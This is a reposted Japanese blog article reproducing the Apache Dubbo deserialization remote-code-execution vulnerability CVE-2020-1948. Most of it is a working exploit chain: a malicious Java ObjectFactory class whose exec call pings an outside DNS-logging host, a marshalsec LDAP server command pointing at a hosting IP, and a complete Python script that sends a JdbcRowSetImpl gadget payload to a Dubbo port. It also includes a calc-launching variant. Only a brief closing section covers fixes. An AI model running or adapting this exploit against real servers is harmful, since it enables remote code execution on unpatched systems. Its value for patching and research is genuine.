ホームページ  >  記事  >  運用・保守  >  Apache Dubbo デシリアライゼーションの脆弱性を分析する方法

Apache Dubbo デシリアライゼーションの脆弱性を分析する方法

WBOY
WBOY転載
2023-05-17 16:01:221051ブラウズ

はじめに

Dubbo は、Alibaba がオープンソース化した高性能で優れたサービス フレームワークです。これにより、アプリケーションは高性能 RPC を通じてサービスの出力および入力機能を実現でき、Spring フレームワークとシームレスに統合できます。 。このシステムには、リモート インターフェイス メソッドの呼び出し、インテリジェントなフォールト トレランスと負荷分散、サービスの自動登録と検出を含む 3 つのコア機能があります。

概要

2020 年 6 月 23 日、Apache Dubbo は、Apache Dubbo のリモート コード実行に関するリスク通知を正式にリリースしました。脆弱性番号は CVE-2020-1948、脆弱性レベルは高です。危険。 Apache Dubbo は、高性能で軽量のオープン ソース Java RPC フレームワークで、インターフェイス指向のリモート メソッド呼び出し、インテリジェントなフォールト トレランスと負荷分散、自動サービス登録と検出という 3 つのコア機能を提供します。 Apache Dubbo Provider には逆シリアル化の脆弱性があります。攻撃者は、RPC リクエストを通じて、認識できないサービス名またはメソッド名と一部の悪意のあるパラメータ ペイロードを送信することができます。悪意のあるパラメータが逆シリアル化されると、リモートでコードが実行される可能性があります。

影響を受けるバージョン

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (正式にメンテナンスは終了)

環境セットアップ

実行環境とコンパイルされた exp 環境の JDK バージョンは両方とも 8u121 です。テスト環境を開始します

java -jar dubbo.jar


#起動後はポート 12345 をリッスンします

脆弱性の再発

サービス フィンガープリント:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
POC を構築します。ここで ping コマンドを実行してコマンドが実行できるかどうかを確認し、新しい POC を作成しますcalc.java、

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}


Compile poc

javac calc.java


コンパイルされた poc (calc.class) を Web に配置します。 Web サイトのディレクトリにアクセスして、marshalsec プロジェクトを使用して LDAP プロキシ サービスを開始できることを確認します。marshalsec をダウンロードします。

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar


LDAP プロキシ サービスを開始します。これを実行します。コマンドを実行すると、LDAP サービスはポート 8086 をリッスンします


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086


#テスト スクリプトを実行します。ここでのテストで使用される Python 環境は 3.8 です。 .0. 最初に依存関係パッケージをインストールします

python3 -m pip install dubbo-py


スクリプト コンテンツ (Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)


スクリプトを実行します

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc


dnslog を確認し、リクエストを正常に受信します。

怎么进行Apache Dubbo反序列化漏洞的分析怎么进行Apache Dubbo反序列化漏洞的分析ldap サービスではリクエストの転送も確認できます。

怎么进行Apache Dubbo反序列化漏洞的分析Bomb Calculator

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }

脆弱性修正

バージョン 2.7.7 にアップグレードし、次のリンクの方法に従ってパラメータ検証を実行します

https://github. com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

#プロトコルと逆シリアル化方法を変更します。

以上がApache Dubbo デシリアライゼーションの脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。